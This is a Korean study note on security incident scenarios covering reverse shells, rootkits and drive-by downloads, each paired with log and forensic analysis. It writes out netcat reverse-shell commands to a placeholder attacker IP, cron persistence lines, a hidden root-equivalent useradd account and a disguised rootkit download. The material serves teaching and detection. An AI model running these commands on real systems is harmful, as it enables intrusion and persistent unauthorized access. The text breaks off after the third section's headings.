1. 리버스 쉘 침해사고 시나리오
(1) 리버스 쉘(Reverse Shell) 이해하기
1) 개요
- 원격에서 서버에 명령어를 실행할 수 있는 쉘 획득 방법은 2가지 있다.
- 바인드 쉘(Bind Shell) : 클라이언트/공격자가 타겟 서버에 접속하여 타겟 서버 쉘을 획득하는 방식
- 리버스 쉘(Reverse Shell) : 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는 방식
- 리버스 쉘 사용 이유는 방화벽을 우회하여 쉘 획득하기 위함, 인바운드보다 아웃바운드 정책이 느슨하기 때문
2) netcat 프로그램을 이용한 리버스 쉘 실습
- 공격자가 타겟 웹 서버 쉘을 획득하기 위해 SSH 접속 시도하지만 방화벽 인바운드 정책에 의해 차단된다.
- 공격자는 자신의 PC/서버에서 nc -lvp 80 명령을 실행하여 타겟 웹서버의 nc 프로그램(커넥터) 연결 요청을 수락할 수 있도록 한다. 명령의 의미는 80/tcp 포트로 연결 요청을 대기하도록 nc 프로그램을 리스너로 동작시킨다는 의미
-l | 연결 요청을 수락할 수 있는 리스닝 모드로 설정 |
-v | verbose 모드로 동작(진행상황을 표시) |
-p | 로컬 리스닝 포트 설정 |
- 타겟 웹서버에서 nc 10.10.10.10 80 -e /bin/bash 명령을 실행하여 nc 프로그램을 커넥터로 동작시킨다. 명령의 의미는 공격자 PC/서버(IP:10.10.10.10 포트:80)로 접속한 후 /bin/bash로 실행 이미지를 교체한다는 의미
- 타겟 웹서버의 nc 커넥터가 공격자 PC/서버의 nc 리스너로 접속한다.
- 공격자 PC/서버의 nc 리스너와 연결 완료된 타겟 웹서버의 nc 커넥터는 자신의 실행 이미지를 bash 프로세스로 전이한 후 nc 리스너와 통신한다.
- 공격자는 외부에서 탈취한 리버스 쉘을 이용하여 타겟 웹서버에 악의적인 명령 수행 가능하다.
(2) 공격 시나리오
1) 내부 침입자는 타겟 웹서버의 루트 계정에 대한 패스워드 탈취 위해 Telnet Brute Force/Dictionary 공격을 수행
- Kali Metasploit 이용, 내부 침입자는 root 계정 패스워드 정보 탈취, 공격 성공 후 Telnet 이용하여 root 권한 쉘 획득
2) 내부 침입자는 탈취한 루트 계정 이용하여 Telnet 원격 로그인 후 루트 권한의 일반 사용자 계정 생성
- 루트 계정으로 Telnet 로그인 후 useradd 명령을 통해 루트권한의 일반 사용자 계정 생성, 일반 사용자처럼 보이는 계정을 통해 차후 반복적 침투 쉽게 하기 위함
- useradd -o -u 0 -g 0 -d /root [계정명]
-o | uid 중복을 허용하는 옵션 해당 옵션이 없으면 root 계정의 uid와 중복되기 때문에 계정 생성에 실패한다. |
-u | uid 지정, 0은 root 계정을 의미 |
-g | gid 지정, 0은 root 계정을 의미 |
-d | 홈 디렉터리를 지정 |
3) 내부 침입자는 외부에서 방화벽 우회하여 타겟 웹서버로 지속적 접근 위해 nc 프로그램을 이용한 리버스 쉘 명령을 cron 테이블(/etc/crontab)에 등록
- 30 2 * * * root /usr/bin/nc [공격자 IP] 80 -e /bin/bash
- nc 프로그램을 이용하여 외부 공격자 호스트와 리버스 쉘(-e /bin/bash)을 연결하는 명령을 매일 2시 30분에 실행
- 공격자가 80번 포트로 한 이유는 일반적인 HTTP 접속 트래픽으로 위장하여 관리자가 쉽게 눈치채지 못하게 하기 위함
4) 외부 공격자는 타겟 웹서버 쉘을 주기적으로 획득하여 추가적인 공격 명령을 수행
(3) 분석 시나리오
1) 관리자는 타겟 웹서버 로그 분석 중 /var/log/secure, /var/log/messages 로그파일에 허용하지 않은 루트 계정의 Telnet 원격 로그인이 성공한 것을 발견
- 로그에서 telnet 무작위대입/사전공격에 의해 로그인 실패/성공 기록을 확인
2) 관리자는 루트 계정의 명령어 실행내역을 확인하기 위해 .bash_history 로그파일을 분석
- 로그파일 보면 사용자 계정 생성한 것을 확인할 수 있고 /etc/crontab을 vi로 오픈한 것을 볼 때 cron 테이블에 반복적 작업을 등록한 것을 의심할 수 있다.
- cat /etc/passwd | grep [계정명] 을 통해 uid와 gid 모두 0으로 설정된 것을 확인 가능
3) 관리자는 공격자가 타겟 웹서버의 /etc/crontab 분석결과 반복적 작업 등록된 것을 확인 (공격자 IP 확인)
4) 관리자는 현재 공격자가 리버스 쉘 연결하고 있는지 확인하기 위해 netstat 명령 실행
- netstat -antp | grep [공격자 IP]
-a | 모든 연결 및 연결 요청 대기 소켓 출력 |
-n | 네트워크 주소를 숫자 형식으로 출력 |
-t | TCP 소켓 출력, -u는 UDP |
-p | 해당 소켓을 오픈한 pid/프로세스명 출력 |
2. 루트킷 침해사고 시나리오
(1) 취약점 Exploit 이해하기
1) 익스플로잇(Exploit)
- 소프트웨어나 하드웨어의 버그 또는 취약점을 이용하여 공격자가 의도한 동작이나 명령을 실행하도록 하는 코드(익스플로잇 코드) 또는 그러한 행위를 의미
- 익스플로잇에 성공하면 프로그램 실행 제어권을 획득하게 되고 공격자가 의도한 명령을 담고 있는 코드를 실행하는데 이를 쉘 코드(Shell Code)라고 한다.
2) 동작방식(버퍼 오버플로우 익스플로잇)
- 대상 프로그램의 버퍼 오버플로우 취약점을 유발시키는 익스플로잇 코드 수행
- 익스플로잇 코드를 통해 스택의 버퍼에 다수의 NOP 명령과 쉘 코드를 삽입
- NOP(No Operation)은 아무 기능도 수행하지 않는 명령어, 해당 명령어를 만나면 아무런 동작 없이 다음으로 넘어감
- NOP 삽입 이유는 Return Address가 쉘 코드 주소를 정확히 가르키게 하기 위함
- 버퍼 오버플로우를 통해 Return Address(RET)를 공격자가 삽입한 쉡 코드가 위치한 주소로 변조
(2) 취약점 정보 분류 체계
1) CVE(Common Vulnerabilites and Exposure)
- 공개적으로 알려진 소프트웨어 보안 취약점을 표준화한 식별자 목록, MITRE에서 처음 만들었으며 NIST가 협력
- 서로 유사한 취약점 정보가 관련기관 및 보안업계 간 상이하게 분류되는 혼선을 방지하기 위해 공통의 명칭으로 취약점 식별하기 위해 만들어짐
- CVE-해당년도-취약점번호
2) CWE(Common Weakness Enumeration)
- 소프트웨어에서 공통적으로 발생하는 약점을 체계적으로 분류한 목록을 제공하기 위함
- 보안 약점 : 공격에 잠재적으로 활용될 수 있는 소프트웨어의 결함, 오류 등을 말함
- 보안 취약점 : 해킹 등 실제 보안사고에 이용되는 소프트웨어 보안약점이나 시스템상 보안허점
- 보안 약점이 모두 보안 취약점이 되지는 않지만 보안 약점만 제거해도 보안 취약점의 상당수를 제거할 수 있음
- 소프트웨어 약점은 SDLC 과정에서 발생할 수 있기 때문에 설계, 아키텍쳐, 코드 단계 등에 대한 취약점 목록 포함
- CWE/SANS TOP 25 : 소프트웨어 개발자가 가장 범하기 쉽고 위험한 25가지 소프트웨어 취약점 목록
(3) 공격 시나리오
1) 공격자는 타겟 사이트의 웹서버 취약점 스캔을 통해 Tomcat 웹서버 관리자 페이지(/manager/html)가 외부에 노출되어 있으며 아이디, 패스워드를 초기 상태로(id:tomcat, password:tomcat) 사용하고 있음을 알아냄
- Kali nessus을 통한 취약점 스캔 결과 Tomcat 관리자 페이지(/manager/html)가 외부로 공개되어 있으며 id,password가 초기설치상태로 되어 있는 것을 확인함
- Kali Metasploit Tomcat 관리자 페이지의 취약점을 이용한 익스플로잇을 통해 백도어 기능을 수행하는 쉘 코드를 실행하여 루트권한의 리버스 쉘을 연결함
2) 공격자는 연결한 리버스 쉘을 이용하여 추가 공격행위를 은닉하기 위한 루트킷을 설치하고 타겟 웹서버로 지속적 접근하기 위해 리버스 쉘 명령을 cron 테이블에 등록
- 리버스 쉘 획득 후 현재 작업 디렉터리를 /var/tmp로 이동(cd /var/tmp)
- 일반적으로 공격자는 악성코드 및 공격도구 다운로드하기 위해 임시 디렉터리(/tmp, /var/tmp 등)를 이용한다. 이는 모든 사용자에 대해 읽기/쓰기가 자유롭고 상대적으로 관리가 소홀하기 때문
- 공격자 웹서버로부터 루트킷 프로그램을 다운로드한다. wget [리소스URL] [프로그램명]
- 방화벽 정책상 아웃바운드 접속이 자유롭기에 wget 리소스URL 명령을 이용하여 쉽게 다운로드 가능
- 공격자는 관리자가 쉽게 눈치채지 못하도록 루트킷 파일명을 아파치 서버 패치파일인 것처럼 위장
- mv [변경전파일명] [변경후파일명] -> apache2.2.15-patch.tar.gz
- tar 명령을 통해 압축을 푼 후 install 명령을 통해 루트킷을 실행
- tar zxvf [파일명] (zxvf : gzip으로 압축된 파일을 해제하면
zxvf | gzip으로 압축된 파일(f옵션)을 해제하면(z옵션) 아카이브 파일이 생성되고 아카이브 파일을 현재 디렉터리에 해제(x옵션)한다. v옵션은 진행상황을 화면으로 보여준다. |
아카이브(archive) 파일 | 여러 파일을 하나의 파일로 묶은 것 주로 대량의 파일을 백업하거나 배포하기 위한 목적 |
- cron 테이블에 리버스 쉘 명령을 매일 3시에 루트 권한으로 실행하도록 등록
- echo "0 3 * * * root /usr/bin/nc [공격자 IP] 443 -e /bin/bash" >> /etc/crontab
- echo 명령의 출력 재지정을 append(>>)형식으로 하여 기존 등록된 작업에 영향 주지않고 추가만 되도록 한다.
- 목적지 포트를 443으로 한 이유는 일반적인 HTTPS 접속 트래픽으로 위장하기 위함
3) 공격자는 타겟 웹서버의 쉘을 주기적으로 획득하여 추가적인 공격 명령을 수행
(4) 분석 시나리오
1) 관리자는 Tomcat 웹서버 로그분석 중 외부로부터 취약점 스캔이 발생했으며 인증정보(id,password)를 알고 있는 관리자 외에는 외부에서 접근이 불가능한 관리자 페이지(/manager/html)가 정상 응답(200 OK)된 사실을 확인
- Tomcat 엑세스 로그를 살펴보면 동일 클라이언트에서 다량의 스캔 패킷을 생성하여 요청하고 있음을 확인
- 로그를 살펴보면 외부 공격자가 Tomcat 관리자 페이지에 접근하였으며 정상 응답(200)된 것을 확인
- 로그인에 실패한 경우에는 401 응답코드가 반환된다.
2) 관리자는 공격자가 관리자 페이지의 업로드 기능을 이용하여 악성코드를 웹서버로 유포했을 가능성 있다고 판단하여 루트킷 탐지도구로 점검
- chkrootkit 프로그램 실행 결과 netstat 실행파일이 INFECTED 된 것을 확인, ps 명령 실행시 숨겨진 프로세스 확인
- 관리자는 /bin 디렉터리에 있는 실행파일의 변조 의심되어 최근 10일 이내 수정된 실행파일이 있는지 검색
- find /bin/ -type f -mtime -10 | xargs ls -l
-type f | 일반 파일을 검색(텍스트 파일, 실행파일) |
-mtime -10 | 마지막 수정일자가 10일 미만, 그냥 10이면 정확히 10일을 의미 |
- rpm -V net-tools procps 명령을 통해 /bin/netstat와 /bin/ps 실행파일 무결성 체크결과 변조 확인
3) 관리자는 변조된 명령어 재설치를 위해 rpm 명령어를 이용해 패키지 재설치 도중 문제점 발견
- rpm -Uvh --force /root/RPM/net-tools-[파일명]
- lsattr /bin/netstat /bin/ps 확인 결과 i 속성 설정되어 있음을 확인
- chattr -i /bin/netstat /bin/ps 통해 i 속성 제거 후 다시 패키지 설치하기
- 패키지 재설치 후 ps와 netstat 명령 실행 결과, 이전에 보이지 않았던 nc 프로세스와 외부 공격자와의 리버스 쉘 연결 확인
4) 관리자는 추가 공격 흔적을 확인하기 위해 cron 로그 분석
5) 관리자는 현재 공격자가 리버스 쉘 연결하고 있는지 여부 확인을 위해 netstat 명령 실행
6) lsof(list open file) 프로그램을 이용한 정보 수집
- lsof 프로그램은 시스템에서 동작하는 모든 프로세스들에 의해 오픈된 파일정보를 보여주는 프로그램
- -p 옵션으로 pid 기준으로, -u 옵션으로 uid 기준으로 프로세스 오픈 파일정보를 확인가능
- -i 옵션으로 인터넷 주소 기반 소켓 파일을 오픈하고 있는 프로세스 정보 확인 가능
3. DBD 침해사고 시나리오
(1) DBD(Drive By Download) 공격 이해하기
1) 개요
- 공격자는 홈페이지를 해킹한 후 사용자PC의 취약점을 익스플로잇하는 악성 스크립트와 악성코드를 은닉시키고 취약한 PC환경의 사용자가 홈페이지에 접속할 경우 자신의 의도와는 무관하게 악성코드가 다운로드되어 설치되는 공격기법
- 사용자PC의 취약점이란 운영체제, 브라우저, 문서편집기(한글, 워드 등), 문서뷰어 등 응용 프로그램 취약점을 말함
- DBD 공격은 일반적으로 난독화된 악성 스크립트와 다수의 경유지/중계지를 거쳐 최종 유포지로 접속하여 악성코드를 다운로드하도록 유도한다. 이는 난독화로 보안장비를 통한 분석과 탐지를 어렵게 하고, 다수의 경유지/중계지를 거쳐 유포지에 대한 추적을 어렵게 하기 위함
2) 주요 용어
- 방문 페이지(Landing Page) : 웹사이트를 방문했을 때 현재 브라우저가 보여주는 페이지
- 경유 페이지(Passage Page) : 악성 스크립트가 삽입되어 있는 방문 페이지
- 중계 페이지(Hopping Page) : 경유 페이지에서 유포 페이지로 연결해주는 징검다리 역할하는 페이지
- 유포 페이지(Distribution Page) : 실제 익스플로잇 및 악성코드가 저장되어 있고 이를 유포하는 페이지
3) 홈페이지 유포 악성코드 탐지기술
- 정적 분석 기술 : 점검대상 홈페이지 웹 프로그램 소스코드를 분석하여 알려진 악성코드 경유지/중계지/유포지/악성 스크립트 문자열을 포함하는 악성링크가 있는지를 탐지하는 방식, 알려진 탐지 패턴으로 점검
- 동적 분석 기술 : 가상의 이용자PC환경을 구성하고 다양한 취약점에 노출시킨 후 점검대상 홈페이지에 접속하여 비정상적인 레지스트리 변경, 악성코드 다운로드 등의 악성행위를 분석하는 방식, 행위분석
(2) 난독화(Obfuscation) 이해하기
1) 개요
- 프로그램 코드를 읽기 어렵게 만드는 기술, 대상에 따라 소스코드 난독화와 바이너리 난독화로 구분
- 소스코드 난독화는 C/C++/JAVA 등 프로그램 소스코드를 알아보기 어렵게 만드는 기술
- 바이너리 난독화는 컴파일 후 생성된 바이너리를 역공학을 통해 분석하기 어렵게 변조하는 기술
- 난독화 목적은 코드의 가독성을 낮춰 분석을 어렵게 하거나 패턴/시그니쳐 기반 보안장비 탐지 우회를 위함
2) 자바스크립트를 이용한 난독화 기술
- 분할 난독화 : 가장 간단한 형태의 난독화 방법으로 악성코드를 다수의 문자열 변수로 잘게 쪼갠 후 다시 재조합하여 출력하는 방식
- 10진수 난독화 : 각각의 문자를 아스키코드 10진수 형식으로 인코딩하여 난독화하는 방식
- 16진수 난독화 : 문자열 바이트 단위로 %핵사값 형식으로 표현하는 퍼센트 인코딩 방식으로 난독화하는 방식
- 기타 XOR인코딩, BASE64 인코딩 등이 존재
(3) 공격 시나리오
1) 공격자는 경유지와 중계지로
(4) 분석 시나리오
4. 악성코드 행위분석 시나리오
5. 워터링 홀(Watering Hole) 침해사고 시나리오